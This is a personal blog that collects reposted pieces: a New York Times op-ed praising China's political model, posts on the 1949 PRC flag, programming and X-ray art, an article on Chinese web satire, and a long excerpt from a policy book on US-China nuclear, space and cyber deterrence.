Windwing

Why China's Political Model Is Superior

2012-02-18T21:02:00.001+08:00

http://www.nytimes.com/2012/02/16/opinion/why-chinas-political-model-is-superior.html

By ERIC X. LI

Published: February 16, 2012

Shanghai

THIS week the Obama administration is playing host to Xi Jinping, China's vice president and heir apparent. The world's most powerful electoral democracy and its largest one-party state are meeting at a time of political transition for both.

Many have characterized the competition between these two giants as a clash between democracy and authoritarianism. But this is false. America and China view their political systems in fundamentally different ways: whereas America sees democratic government as an end in itself, China sees its current form of government, or any political system for that matter, merely as a means to achieving larger national ends.

In the history of human governance, spanning thousands of years, there have been two major experiments in democracy. The first was Athens, which lasted a century and a half; the second is the modern West. If one defines democracy as one citizen one vote, American democracy is only 92 years old. In practice it is only 47 years old, if one begins counting after the Voting Rights Act of 1965 — far more ephemeral than all but a handful of China's dynasties.

Why, then, do so many boldly claim they have discovered the ideal political system for all mankind and that its success is forever assured?

The answer lies in the source of the current democratic experiment. It began with the European Enlightenment. Two fundamental ideas were at its core: the individual is rational, and the individual is endowed with inalienable rights. These two beliefs formed the basis of a secular faith in modernity, of which the ultimate political manifestation is democracy.

In its early days, democratic ideas in political governance facilitated the industrial revolution and ushered in a period of unprecedented economic prosperity and military power in the Western world. Yet at the very beginning, some of those who led this drive were aware of the fatal flaw embedded in this experiment and sought to contain it.

The American Federalists made it clear they were establishing a republic, not a democracy, and designed myriad means to constrain the popular will. But as in any religion, faith would prove stronger than rules.

The political franchise expanded, resulting in a greater number of people participating in more and more decisions. As they say in America, "California is the future." And the future means endless referendums, paralysis and insolvency.

In Athens, ever-increasing popular participation in politics led to rule by demagogy. And in today's America, money is now the great enabler of demagogy. As the Nobel-winning economist A. Michael Spence has put it, America has gone from "one propertied man, one vote; to one man, one vote; to one person, one vote; trending to one dollar, one vote." By any measure, the United States is a constitutional republic in name only. Elected representatives have no minds of their own and respond only to the whims of public opinion as they seek re-election; special interests manipulate the people into voting for ever-lower taxes and higher government spending, sometimes even supporting self-destructive wars.

The West's current competition with China is therefore not a face-off between democracy and authoritarianism, but rather the clash of two fundamentally different political outlooks. The modern West sees democracy and human rights as the pinnacle of human development. It is a belief premised on an absolute faith.

China is on a different path. Its leaders are prepared to allow greater popular participation in political decisions if and when it is conducive to economic development and favorable to the country's national interests, as they have done in the past 10 years.

However, China's leaders would not hesitate to curtail those freedoms if the conditions and the needs of the nation changed. The 1980s were a time of expanding popular participation in the country's politics that helped loosen the ideological shackles of the destructive Cultural Revolution. But it went too far and led to a vast rebellion at Tiananmen Square.

That uprising was decisively put down on June 4, 1989. The Chinese nation paid a heavy price for that violent event, but the alternatives would have been far worse.

The resulting stability ushered in a generation of growth and prosperity that propelled China's economy to its position as the second largest in the world.

The fundamental difference between Washington's view and Beijing's is whether political rights are considered God-given and therefore absolute or whether they should be seen as privileges to be negotiated based on the needs and conditions of the nation.

The West seems incapable of becoming less democratic even when its survival may depend on such a shift. In this sense, America today is similar to the old Soviet Union, which also viewed its political system as the ultimate end.

History does not bode well for the American way. Indeed, faith-based ideological hubris may soon drive democracy over the cliff.

Eric X. Li is a venture capitalist.

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America Democracy: "One Propertied Man, One Vote; To One Man, One Vote; To One Person, One Vote; Trending To One Dollar, One Vote."

National Flag Design Of PRC In 1949

2012-01-13T20:41:00.001+08:00

On June 15, 1949, The New Political Consultative Conference In Peking Preparatory Committee Formally Established, Public To Solicit National Flag Design Pattern.From July 14 To August 15 Were Received 3012 Designs, And Then Review Through 38 Patterns.

#NO.32 ZengLianSong's Original Design

On October 1, 1949, The Government Of The PRC Was Founded, Accompanied By The Majestic "Volunteers March" , The Bright Five-Starred Red Flag Slowly Went Up Pole The First Time In BeiJing's TianAnMen Square, Marks The Five-Starred Red Flag Become National Flag Of The People's Republic Of China.

ZengLianSong And His Design Five-Starred Red Flag

It Seems That Most Chinese More Better Like Red And Yellow Color.Perhaps Because That Most Chinese Are Known For Claimed Themselves That The "Descendants Of Yan(Red) And Huang(Yellow) Emperors" .

More>>>Windwing: Flag In China

[Windwing]RedFlag Fell: CCCP And Flags

What Do Programmers Really Do?

2012-01-01T19:55:00.001+08:00

http://softwarecreation.org/2009/what-do-programmers-really-do

Computers are useless. They can only give you answers. – Picasso

Many people (including my mother-in-law) think that computers are becoming so smart that programmers will be no longer needed in the near future. Other people think that programmers are geniuses who constantly solve sophisticated math puzzles in front of their monitors. Even many programmers don't have clear idea what they do.

In this post I want to provide some explanation to uninformed people what programmers really do:

Programmers are translators of human ideas into the language of computers.

They are a link between two worlds – human and computers. Do you think it is easy to maintain this link?

Human World Background

The problem with people is that they're only human. - Bill Watterson

Humans are product of biological evolution and have a unique and precious organ for producing ideas for programmers – the brain. The brain is a complex combination of neocortex (unique to humans) and older structures inherited from mammals and reptiles. Older brain structures are mostly responsible for reproduction (sex) and survival (finding food or escaping danger). Neocortex evolved to support these function better, however it started to cause strange side effects – consciousness, thinking and curiosity. Thanks to these effects humans invented civilization and thousands years later computers.

Somebody could believe that after thousands years of development humans should become completely dull, predictable and rational species, but it didn't happen – their old brain structures, complex psychology and social behavior often make people irrational, unpredictable and deceiving. In addition, humans have poor memory, strong emotions and personal interests. However, programmers don't have choice of working with more rational species and have to work with human beigns to translate their ideas into the language of computers.

Computer World Background

Part of the inhumanity of the computer is that, once it is competently programmed and working smoothly, it is completely honest. – Isaac Asimov

A computer is the best invention of human civilization. It consist of CPU, motherboard, memory, hard drive, monitor and some other parts. Computers moved our civilization to the new level, filled our life with meaning and entertainment and compensated weaknesses of our brains. There are good chances that computers will become more intelligent than humans. (However, I am a bit concerned if computers need human programmers after it happens.)

Modern computers are completely logical, straightforward and obedient. It is pleasure to work with a computer if you know what it should do and how to instruct it. The only problem is that computers will do exactly what you tell them to do. Therefore, you should have very clear ideas and instructions for a computer to avoid feeling miserable when you see your boss or customer.

Translation Between Humans and Computers

There are three main challenges in translation:

Language ambiguity. Human language is vague, complex and ambiguous – for example: "This program doesn't provide good user experience". Culture, background and context affect communication and meaning. On the contrary, any computer language is exact, straightforward and context-free.
Levels of details. Humans communicate often in general terms without many details – for example: "I want this f* program work right". It allows them to save time and energy, but cause two big problems – misinterpretation and possibility that important details are missing. And a computer requires all details – everything should be spelled out.
Thinking style. Humans often think in terms of needs, outcomes and solutions – for example, "This report should run in 2 seconds instead of 2 hours". However, computers need algorithms – sequence of steps how to achieve desired outcomes.

In order to write good software, programmers have to overcome these challenges, understand humans and translate their ideas into the computer language.

Skills of a Super Programmer

As we can see a super programmer should have two distinct sets of skills to deal with both worlds.

Understand humans and create solutions:

Communication -ability to establish contact with humans, talk with them without alienating and even heroic attempts to share own opinion.
Meaning - extract useful information from conversations with humans, decode and make sense from it
Logic - clearing, removing ambiguity and controversy from human ideas for uncompromising reality of computers
Creativity - dig, twist and play with human ideas to create good solutions
Design - wrap programming ideas with human friendly interfaces and convenient interactions
Big Picture – know how solutions fit into world of users, business and Universe to make your program useful.

Tell computers what to do and build solutions:

Logic (again) – organize programmer's thoughts into cohesive software ideas and instructions for computers
Technology - uncovering and understanding the black box of technology (black box for 99% of population)
Programming Languages – learn the beautiful, logical and unambiguous languages for feeding computers with programmer's ideas
Algorithms - master the most effective ways how a computer can accomplish a task
Modeling - create abstractions and models for grasping and manipulating ideas in software code
Practices (as Refactoring, Unit Testing, Continuous Integration) – recurrent activities to keep system solid, healthy and possible to change

There is a big difference between a human-oriented and hardcore object / system – oriented programmer.
A programmer who is specialized to work with computers only is a half of the good programmer. Great solutions require skills for computers and human worlds. Connect both worlds and become a super good programmer!

World In X-Ray II

2012-01-01T14:31:00.001+08:00

England Artist Nick Veasey's Works .

The Items Are Flat In Daily, Through X-Ray Also Can Become Rich In Poetic Fotos.

DJ Console

Iris Flower-De-Luce

Radiated Performed Fluoroscopic Localizing,The World Of Hath Not Seen In X-Ray .

More>>> http://wiudwing.blogspot.com/2010/03/world-in-x-ray.html

Jest The Chinese Way . . .

2012-01-01T12:07:00.002+08:00

http://www.theaustralian.com.au/news/features/jest-the-chinese-way/story-e6frg6z6-1226232076775

Rowan Callick, Asia-Pacific editor From: The Australian December 29, 2011 12:00AM

Young Chinese surf the net, which offers plenty of scope for satire despite the best efforts of would-be web censors. Picture: AFP Source: AFP

ONE of the funniest places to visit is the Chinese web, suffused with satire despite the efforts of the stentorian net police. China is not what it seems. It is not uniform. It is not frighteningly serious. It is not hostile to the West. Crucially, it is not identical with its ruling Communist Party.

An especially crazy, steadily escalating trail of inventive mockery of officialdom followed a discovery a few months ago by a "netizen" of something smelly on the website for Huili, a county in mountainous Sichuan province. The netizen explained: "I had nothing to do today so I visited the website for our county government. The headline story was about the upgrade for the road to the countryside. I looked at the photo and I almost coughed out half a litre of blood! Even a rank amateur like myself can tell that this was a Photoshop job, and they had the nerve to put this on the home page!"

The photo showed three officials pointing at a new road in apparent pride. Only they appeared to be floating above the road as if arriving from space. It seemed they hadn't left their comfortable offices - many local governments in China are housed in buildings that resemble the White House or the Palace of Versailles, determined to spend their revenue themselves rather than pass it up to higher authorities.

After that discovery, the floodgates opened. Other netizens soon entered the Photoshop spirit, and within hours the officials were in Africa amid lions and giraffes, on the moon, leering at scantily clad women, watching the Osama bin Laden Islamabad operation alongside Barack Obama and greeting recently departed North Korean leader Kim Jong-il - who may indeed now be hovering like them in some workers' party nirvana.

When pop star Michael Jackson died, Chinese netizens assembled a brilliantly funny tribute montage of Cultural Revolution-era People's Liberation Army film to the soundtrack of his song Beat It. Another piece of witty video inventiveness has Adolf Hitler fulminating against the sins of Chinese microbloggers.

On a visit to Beijing a year ago, I rushed one evening to Dashanzi, the vast area of converted Bauhaus-style munitions factories in the northeast that today houses scores of art galleries. One of the galleries I visited was devoted to Thunderbirds-style models placed in heroic poses, each with slogans beneath adapted from party originals: "Revolution is a dinner party!"; "Harmonious Society! Angry People!"; "I never pursue a personality cult! Because nobody worships me!"

And the films of China's so-called sixth-generation directors, especially those of 41-year-old Jia Zhangke, are wry, offbeat, sardonic: in Western terms, they are perhaps comparable with the style of Withnail and I.

Foreigners often assume that China is a single entity. They speak of "eating Chinese" as if that comprised a few famous dishes, usually all from the south. In fact, China is a continent of foods and cultures. "Chinese food" makes sense only in the way that "European food" does. Even its languages are spectacularly disparate. English has more in common with Italian than, say, Mandarin (with its four tones) does with Cantonese (with its superhuman nine tones).

China is a part of the world that has maintained the longest uninterrupted civilisation. But it is a country of great variations, and of fierce individualism. Writer Liao Yiwu, recently in Australia, is a good example. So is the bear-like artist Ai Weiwei.

The name on the outside of Ai's monumental reworking of a siheyuan or courtyard home in the northern wastelands of Beijing is "258 Fake". He has a rare nose for phonies. He is one of a Chinese type: unbowed, witty in a laconic way, at ease with himself while not at all self-absorbed, curious about everything, and impeccably polite.

How does he see himself? When I met him three years ago, he cast around and then replied with disarming articulacy: "Maybe a confused man. Sometimes withdrawn. Sometimes angry. I don't know how to describe myself . . . I've been called many, many titles, and I practise in many fields. But I've not grown used to any of them. If you're asking about my profession, yes, I'm an artist. That's best; it leaves little to explain."

He spent a few years living in New York, but never really felt settled there. Many Chinese do, however, feel especially comfortable in the US. Since the Qing empire started to crumble in the late 19th century, rich and influential Chinese have sent their children to study there - including the three Soong sisters, who were to become among the most influential people of the 20th century.

One married a banker who briefly became the world's richest man, one the "generalissimo" Chiang Kai-shek and one Sun Yat-sen, the founder of modern China. Although they parted at loggerheads for political reasons, when they did occasionally contact each other again it was in English. Soong Ching-ling, widow of Sun Yat-sen, eventually became president of China. Her modest possessions, displayed in the lakeside mansion where she died, include, poignantly, discs of the music she used to listen to as the Red Guards fulminated in the streets - US shows such as Oklahoma!.

Another remarkable individual is Cui Jian, the father of Chinese rock who famously stood in Tiananmen Square in 1989, a red bandana over his eyes, a guitar in his hands, singing what has become an anthem: Nothing to My Name. He describes his music to me as China's third sound. The first is official, the second mainstream, for instance, Canto-pop. The third sound is more individual. "It doesn't matter too much whether the market likes it or not," he says.

"But a lot of educated people like that more individual art. It can even involve a form of philosophy, in which people focus on what is beautiful; they start to think freely. I don't worry about newspapers and TV shows, but I still believe in this country. I still feel I can breathe, I have my own room, my own space. When they open up to free-thinking music or to a free lifestyle, then they will get it, they will change. They just lack a key. Like 20 years ago, when I felt I had something to say and put it in a song, and they got it."

Some in China say that culture comprises education and tradition. Cui disagrees: "You should try to open your hands and stand up by yourself, and then you'll learn. You'll have freedom, you'll be alive, the world belongs to you."

Dissident writer Yu Jie - who was appalled, on a visit to Sydney, to see Maoist art displayed on a restaurant wall - a year ago wrote a brilliant and darkly hilarious account of his interrogation by a puzzled and irate policeman. Official China occupies another world. There, for instance, speeches should not be bright or entertaining - because that would indicate political vulnerability in the speaker, who would be perceived to need to court support.

Official China was on display during the Beijing Olympics, soldiers beating drums in immaculate time. But also during the Olympics, the local Chinese crowds' default support, when Chinese athletes weren't competing, went to the Americans.

For the Chinese rival Americans as the most individualistic people on earth. And the funniest.

****************************************************************************

In Fact The Chinese Don't Understand Humor,Then Them Took An Arrow In The Knee .

Paradox Of Power: Sino-American Strategic Restraint In An Age Of Vulnerability

2011-12-27T21:53:00.001+08:00

http://www.ndu.edu/inss/news.cfm?action=view&id=124

"Paradox of Power: Sino American Strategic Restraint in an Age of Vulnerability"
By David C. Gompert and Phillip C. Saunders

Excerpt From the Executive Summary:

The United States and China each have or will soon have the ability to inflict grave harm upon the other by nuclear attack, attacks on satellites, or attacks on computer networks. Paradoxically, despite each country's power, its strategic vulnerability is growing. Particularly since September 11, 2001, Americans have sensed this vulnerability. The extent to which the Chinese sense it is unclear.

Introduction
For all their power, the United States and China are increasingly vul-nerable. Each faces strategic dangers, from nuclear weapons to disruption of critical computer networks and space links. Because their relationship
is at once interdependent and potentially adversarial, the United States and China are especially vulnerable to each other: interdependence exposes each to effects of the other's activities, malicious or not, while the potential for conflict impels each to acquire offensive capabilities against which defenses can be futile. Strategic vulnerability cannot be eliminated, only mitigated.

Of the two countries, the United States is stronger in offensive strate-gic capabilities, notably nuclear, antisatellite (ASAT), and cyber weapons. Yet it is also highly exposed to danger in these domains, confirming that power does not necessarily reduce vulnerability. If Americans thought before the 9/11 attacks that being the only superpower made them safer, they think otherwise now. Even its $600-billion-plus annual defense bud-get does not let the United States buy its way out of vulnerability.
Meanwhile, China's striking economic and technological develop-ment is enabling it to acquire all forms of power, including offensive stra-tegic capabilities. But China's development is also making it more vulnerable, as it becomes more integrated at home and with the world and thus more susceptible to economic disruption. While the Chinese have ong felt, based on their history, that weakness breeds vulnerability, they are learning that greater vulnerability can also accompany greater strength.

This book confronts the paradox that as power grows, so can vulner-ability. The basic reason for this is that the same factors that produce mod-ern power—technological advancement and economic integration—also increase exposure to risk. The book suggests a way to mitigate U.S. and Chinese strategic vulnerabilities to each another. It is written from an American perspective, with U.S. interests foremost in mind. But because the United States cannot escape its growing vulnerability to China unilater-ally, Chinese agreement is needed. The book's core idea is that mutual strategic vulnerability calls for mutual strategic restraint. Whether Sino-American distrust will preclude agreed restraint is one of the questions it tackles. But even with distrust, self-interest in avoiding harm—in a word, deterrence—can move both powers in this direction.
In becoming more vulnerable, the United States and China are not alone. With global economic integration and information networking, most nations are increasingly susceptible to disturbances and damage caused by other nations and transnational actors. The 300-year-old model of nation-states controlling their territory, vulnerable only to invasion, was shaken by the advent of strategic bombing and then nuclear weapons. On the chessboard where nations play, queens with stunning speed and unlim-ited range now endanger sovereign kings (and their realms). Against stra-tegic offense, defense is getting more costly but not more effective, leaving fear of retaliation as the surest way to avert disaster. This has been the essence of nuclear deterrence, though neither the problem nor the remedy is confined any longer to the nuclear domain.

The increased vulnerability of sovereign states that began in the mid-20th century with strategic bombing and nuclear weapons has been com-pounded by two factors that mark passage to the 21st century: integration
and information networking. The former has increased the exposure of states to each other's products, services, data, money, ideas, surveillance, migrants, and travelers, including terrorists. Integration has also opened
new domains in which nations interact: no longer just at sea, on land, and in the air but now also in space and cyberspace. While economic integra-tion has brought growth to those nations that participate, it has also
reduced their ability to escape risk.
Information networking has accelerated economic integration not only internationally but internally as well, as China's transformation from a fragmented to a national economy shows. It is also demolishing the abil-
ity of sovereigns to control what their populations know. This heightens the potential for political upheaval, which is of more concern to Chinese than to American leaders.

Information networking increases vulnerability in another way: improved military targeting. It has yielded dramatic enhancements in sen-sors, data processing and sharing, geolocation precision and coverage,
navigation, and guidance—thus, in the ability to deliver weapons at any distance with great speed and accuracy, and to defeat defenses. Informa-tion technology has made objects—fixed and moving, on land, at sea, and
in the air—increasingly observable and vulnerable. Such advances are also evident in space and cyberspace, which are susceptible to targeting and also can serve as media for novel weapons, including electromagnetic and
energy-based ones.
Although growing strategic risk affects weak and strong states alike, those that face the power/vulnerability paradox are the strong ones. Recall that the United States and the Soviet Union were simultaneously at their
most powerful and their most vulnerable during the Cold War because the capacity of each to visit nuclear destruction made it the other's primary target. Today, the conventional military superiority of the United States
incentivizes adversaries, real and potential, to target its strategic vulnera-bilities. For all its power, the United States is hard pressed to protect its territory from nuclear attack, its satellites from ASAT attack, and its com-
puter networks from cyber attack.

The United States and China are not mortal enemies, as the United States and the Soviet Union were. But their growing capacity to inflict stra-tegic harm, when combined with the possibility of conflict, motivates each
to be capable of striking at the other's vulnerabilities, at least for deterrence. Fortunately, there are enough positive aspects of Sino-American relations that the two should be able to find ways to mitigate their mutual vulnera-bilities. After all, even the United States and Soviet Union, despite their animosity, were able to manage their nuclear vulnerabilities through mutual deterrence. But while Soviet-American strategic peace was kept by
reciprocal fear, there is reason to think—at least to hope—that China and the United States can manage their vulnerabilities with a quotient of recip-rocal trust.

The distinction between mutual deterrence and mutual restraint is crucial. Although mutual restraint depends on mutual deterrence, it is less fragile and more likely to contribute to wider cooperation than fear-based deterrence alone. It implies that the parties are not fundamentally adver-sarial and that each seeks a relationship based on more than canceling out the other's strategic threat. While mutual restraint does not depend on faith in good intentions, it can ease fears of hostile intent, thus reducing the danger of miscalculation and the collapse of restraint during crises. It also invites—indeed, requires—earnest dialogue and understanding regarding the shared problem of strategic vulnerability, as well as concrete steps to reinforce restraint.
There is no guarantee that both China and the United States would abide by agreements to exercise strategic restraint—that is, to refrain from escalation—in the event of conflict. This is why mutual deterrence is a prerequisite for mutual restraint. Even in the midst of war, the prospect of retaliation can prevent escalation if accords reached in peacetime cannot. Conditions for mutual deterrence exist in all three domains. At the same
time, Sino-American agreement on the concept of mutual strategic restraint may help the two countries create a more cooperative relationship in gen-eral and thus reduce the likelihood of conflict.
Noting both the certainty of mutual fear and the aspiration of mutual trust, this book contends that the United States and China have both a need and an opportunity to adopt and apply the principle of strategic restraint as the best way to mitigate their vulnerabilities to one another. Present conditions in China, in the United States, and in Sino-American relations may or may not offer fertile ground for the book's proposals for mutual strategic restraint. The time horizon of this study is about a decade, and it may take that long for awareness of strategic vulnerability to impel both nations toward an accord. Nevertheless, the ideas offered here can be grist for discussion within each nation and between them, looking toward the time when conditions will be ripe for their adoption.

The United States and China in an Age of Vulnerability
The United States and China will be the world's most powerful states for at least the next decade, and probably longer. Though it is premature to proclaim the world bipolar, China has an impressive package of modern power: economic scale and productivity, technological prowess, spreading political influence, military capabilities, and human capital and creativity. Though their nuclear force is small compared to those of the United States
and Russia, the Chinese believe that possessing more than an assured minimal deterrent is unnecessary and wasteful. Only the United States can match China's ASAT and cyberwar potential.
However, China's expanding power will not prevent its vulnerability from expanding, any more than U.S. power has reduced U.S. vulnerability. Whether China's leaders appreciate that its vulnerabilities are growing along with its power will determine whether they will have an incentive to accept mutual restraint with the United States. While the Chinese have long sought mutual restraint with respect to nuclear weapons, it is unclear whether they will accept mutual restraint in space and cyberspace. Given their strong advocacy of no first use of nuclear weapons, they clearly understand the concept.

Meanwhile, China's growing offensive power in space and cyberspace is making the United States all the more determined to acquire offensive capabilities to disable Chinese satellites and computer networks, at least for
deterrence. Because China will find it at least as hard as the United States does to defend its satellites and networks, its offensive power makes it a target for U.S. offensive capabilities. Conversely, because the Chinese will
not tolerate U.S. monopolies in ASAT weapons and cyberwar, and because the United States will find it hard to protect its satellites and networks, it too will become more vulnerable.
How the United States and China manage their strategic vulnerabili-ties depends on their larger relationship, which combines convergent and divergent interests. The two share interests in an open, orderly, and expanding world economy; the stability of resource, product, and financial markets; international security as a condition for economic growth; effec-tive multilateral institutions; and controlling violent extremism and other nonstate threats. They also have an immense stake in each other's eco-nomic health, which encourages strategic restraint.

Yet U.S. and Chinese interests can also be at odds and occasionally collide. This is especially so in East Asia, a region vital to both nations, where China aspires to be the preeminent power but where the United States will not abandon its stabilizing presence and influential role. China is not content to let the United States obstruct its national unification or, regardless of Taiwan's fate, its access to the Pacific. China may see the United States as a barrier to its regional ambition and potentially to the world's seas, trade routes, resources, and markets. Although history teaches that established powers and rising ones do not inevitably clash (think of Great Britain and America), it also teaches that clashes are more likely when the rising power sees the established one as posing obstacles to its material interests (think of Germany and Great Britain or of imperial Japan and America).

One of this book's load-bearing assumptions is that neither hege-monic struggle nor harmonious interdependence can fully explain present and future Sino-American relations. The former ignores weighty shared
interests that encourage accommodation; the latter relies on a romantic notion that sovereigns lose their urge for advantage when their economies become interdependent. Because reality lies in the middle, relations will be
a mix of cooperation and competition, understanding and suspicion, part-nership and rivalry. This duality in Sino-American relations is crucial for the idea of mutual restraint: a relationship that combines divergent and convergent interests supplies both the necessity and the opportunity for accord to limit the use of strategic power against one another. A relation-ship without conflict would not require such an arrangement, whereas one
fraught with conflict would not permit it.

This book is not about Sino-American relations in general but about mutual restraint in using strategic power. By strategic power, we mean the ability to harm the other nation's essential well-being for purposes of imposing one's will by threat or attack. Essential well-being includes home-land security, population safety, state viability, and economic health (that is, productivity, employment, and availability of goods and services). With the deep involvement of both countries in the world economy, essential well-being extends to access to resources and markets, the ability to use both traditional and new lanes of trade and communications—oceans, space, and cyberspace. Of all the dangers to the well-being of the United States and China, offensive nuclear, space, and cyberspace capabilities have strategic significance because of the harm they could do.
Nuclear conflict can cause unspeakable destruction, knocking out satellites can cause widespread and lingering economic disruption, and degradation of critical information networks can cause major economic and societal shocks. Any of these sorts of attacks can be regarded as a delib-erate blow to vital functions of the other nation, intended to weaken its resolve or ability to resist the attacker's designs (yet another way to define strategic). A premise of this book is that both the United States and China will have enough offensive power in these domains to cause grave harm. Although the United States is and could remain superior to China in each of these three domains, there is no evidence that it can dissuade China from gaining greater offensive power in all of them. Quite the opposite is true: nuclear retaliatory forces, ASAT weapons, and cyber warfare are high priorities in China's military modernization.

At a minimum, the Chinese believe they need offensive capabilities in these categories to deter and avoid being bullied by the United States. This is clearly the case with respect to nuclear weapons. More ominously for the
United States, the Chinese, or at least the People's Liberation Army (PLA), may be motivated in space and cyberspace not as much by deterrence as by a belief that U.S. vulnerabilities can be exploited to China's advantage in the event of conflict.
In sum, the advantages the United States has in offensive strategic capabilities do not reduce its vulnerability to China's growing offensive strategic capabilities. Likewise, China's efforts to reduce U.S. advantages will leave it no less exposed to U.S. offensive capabilities. Because neither China nor the United States will forego these forms of strategic power, and because divergent interests may cause frictions, crises, or conflicts, the security of each nation depends on the other's restraint in the use of such power. Obviously, neither one would agree to restrain itself unilaterally. Moreover, because it is unrealistic if not risky to assume that understand-ings of reciprocal restraint can be negotiated in the heat of a crisis, it fol-lows that some attempt should be made to fashion terms of restraint before crises occur. Given the nontrivial potential for Sino-American discord and confrontation, such an attempt should begin sooner rather than later.

Offense Rising
Defenses against nuclear, ASAT, and cyber weapons are difficult, costly, and yield diminishing returns versus offensive capabilities of large, advanced, and determined states like the United States and China. This offense dominance gives an edge to the side that invests comparatively more in offense. It gives both sides an incentive to invest in offense instead of defense, which in turn compounds the strategic vulnerability of both.
After 25 years of U.S. work on ballistic missile defense, it is as clear as ever that defenses can be overwhelmed with modest numbers of missiles and sophisticated attacks. The offense-dominant character of nuclear war-
fare also stems from the fact that a single weapon on a missile that pene-trates a missile defense system can do horrendous damage (for example, destroy a city). If successful defense is defined as avoiding such damage, defense must stop all incoming missiles. By the same standard, offense succeeds if any missile penetrates. With known technology, the odds of one missile penetrating improve sharply with increases in the size and complexity of attack.
Satellites—delicate objects moving predictably and conspicuously against the background of space—are much easier to destroy than to defend. Moreover, high-performance satellites cost much more than ASAT interceptors. Therefore, as the performance of interceptors improves and the cost of every additional one declines, it is far cheaper to multiply inter-ceptors than to replace satellites. Once developed, interceptors can be read-ily increased in number.
Likewise, protecting information networks becomes increasingly dif-ficult and costly as the scale and sophistication of the would-be attacker grow. After years of heavy investment in making networks more secure
from intrusion, they are for the most part less secure. Hacking is far cheaper than network defense. After all, networks are meant to accommo-date users' needs for access, sharing, and collaboration. Strong forces of
supply responding rapidly to demands for connectivity and convenience generally trump security. Short of undoing information-sharing, with huge negative economic consequences, defense must compete with the very
purposes and virtues of networking.
Meanwhile, markets, firms, and supply chains for networks and their components have become global and integrated, with the United States and China top players in both production and demand. U.S. concerns about
dependence on Chinese sources have grown as China graduates from mak-ing chips to making supercomputers, often based on technology of U.S. origin. Now that Chinese state-affiliated firms are competitive in network
infrastructure—for example, data and cellular networks—U.S. concerns about insecure supply chains have merged with worries that made-in-China hardware and software within U.S. networks could be manipulated or disrupted for strategic purposes.
Across all three strategic domains, as well as in conventional military capabilities, offense dominance and vulnerability are the result of advances in information sensing, processing, and sharing that facilitate targeting.
Industrial-age military power swung between offense and defense domi-nance, depending on the physics of speed, distance, armor, weapons accu-racy, and the like. In the digital age, however, offense dominance is
persistent and even getting more pronounced, given the accuracy, timeli-ness, and distance of targeting. Using space and information technology, networked targeting capabilities are increasingly global, and they can
deliver physical weapons and electronic agents alike. The United States is a world leader in the very technologies that underlie strategic offense domi-nance, and China is on its heels.
U.S. and Chinese military priorities reflect judgments on both sides that investments in offense are rewarding. The United States has declared that it will maintain the qualitative superiority of its strategic nuclear offen-
sive forces (as long as nuclear weapons exist) and that its missile defense system is intended only for protection against small threats, such as Iran and North Korea. China concentrates investment in offensive strategic
nuclear forces in order to have a credible deterrent. Neither the United States nor China can count on protecting its satellites; both are developing systems that can destroy or disable satellites. While neither country will divulge specific information about its cyberwar capabilities or operations, China is plainly active in network attack, and the United States is formi-dable in offense as well as defense.
Unless and until nonlinear scientific advancements make defense feasible against large nuclear, space, and cyberspace attacks, strategic vul-nerabilities will persist and increase. Whether offense dominance will last
is taken up later in this book. Because of the role and power of information technology and continuing integration of the world economy, it is almost sure to last for at least another decade.

Declining Costs of Strategic Attack
In addition to favoring offense over defense, technology is drastically reducing the costs of strategic attack. Until the mid-20th century, any pow-erful state determined to bring about the collapse or capitulation of another
state might decide to launch a massive land invasion, at great cost in lives and treasure to itself, not to mention to the victim. Napoleonic France and Nazi Germany tried, unsuccessfully, to conquer Russia; the North was compelled to invade the South to win the American Civil War, with huge casualties; Germany defeated France by invasion in the Franco-Prussian War and World War II, but lost World War I when its invasion stalled; neither Napoleon nor Hitler could subdue Great Britain because they could not invade it. The advent of strategic air forces gave strong states the option of bombing other states into submission, at substantially lower cost to the attacker. Although World War II and the Vietnam War revealed the limits of heavy bombing against states and peoples with the fortitude to endure, champions of strategic bombing can cite evidence that strong states can defeat weak ones from the air—Germany's conquest of the Neth-erlands in World War II, the U.S. defeat of Iraq in the Gulf War, and the North Atlantic Treaty Organization's defeat of Serbia.
Nuclear weapons provided those possessing them with a decisive way to impose strategic will on another state—at least a nonnuclear one—at very low cost to the attacker in either human or economic resources. How-ever, the cost to the victim would be more apocalyptic than that incurred by invasion or heavy bombing. Even if not deterred by the threat of nuclear retaliation, states with nuclear weapons have shown great inhibition to use them as a substitute for the higher cost alternatives of invasion and conven-tional bombing. Only in the case of the U.S. nuclear attack on Japan was a state prepared to accept such high enemy casualties, given that invasion
would have caused enormous American casualties.
With technologies available to destroy satellites and crash computer networks, states in possession of such capabilities can inflict immense harm, if not total defeat, on other states. Satellite and cyber attacks have the
capacity to damage the essential well-being of those on the receiving end, at modest economic cost to the attacker—minor cost in the case of cyber attack—and with negligible immediate loss of life on either side.
The following three graphics depict the sharply declining costs of producing enough strategic damage to defeat another state. Figure 1–1 shows, in orders of magnitude, the economic and human costs of strategic attack as technology has evolved from land warfare to air warfare to nuclear warfare to antisatellite and cyber warfare. For purposes of illustration, it is assumed that all these strategic attack options have the same effect: to destroy the ability and/or sap the resolve of a state to resist an attacker. As technology has progressed from mechanized armies to long-range bombers to nuclear-armed missiles to information systems, the costs to the attacker have declined in both economic resources and lives.

Figure 1–2 shows that the same technological developments have reduced the expected casualties of not only the attacker but also of the attacked. The most striking implication of this is that inhibitions about attacking due to expected loss of life on both sides may not apply with regard to satellite and cyber attacks. Anticipating no bloodshed and the resulting outrage, the threshold of justification for attack would be lower.
Table 1–1 summarizes how the five classes of strategic warfare compare in regard to the attacker's expected casualties, the economic cost of deliver-ing the attack, and the expected casualties of the state being attacked. In a nutshell, technological "progress" is making it cheaper and easier to harm another nation. This is another way of saying that even the most powerful states are becoming increasingly vulnerable to those who command those technologies. Conversely, powerful states, including China and the United States, could become less restrained about inflicting harm on one another as the costs to the attacker and expected deaths on both sides sharply decline—unless, of course, mutual deterrence and restraint take effect.

Table 1–1 suggests that technology has created options for practically "nonviolent" forms of strategic attack. Yet the potential economic damage done by denying the use of space or cyberspace is on the same order of
magnitude as the economic damage from invasion or bombing. Because causing an economic shock and corresponding hardship could be strategi-cally effective without causing death and destruction, those in possession of these new means of attack could be less hesitant to use them if they have important interests at stake.

The Case for Deterrence and Restraint
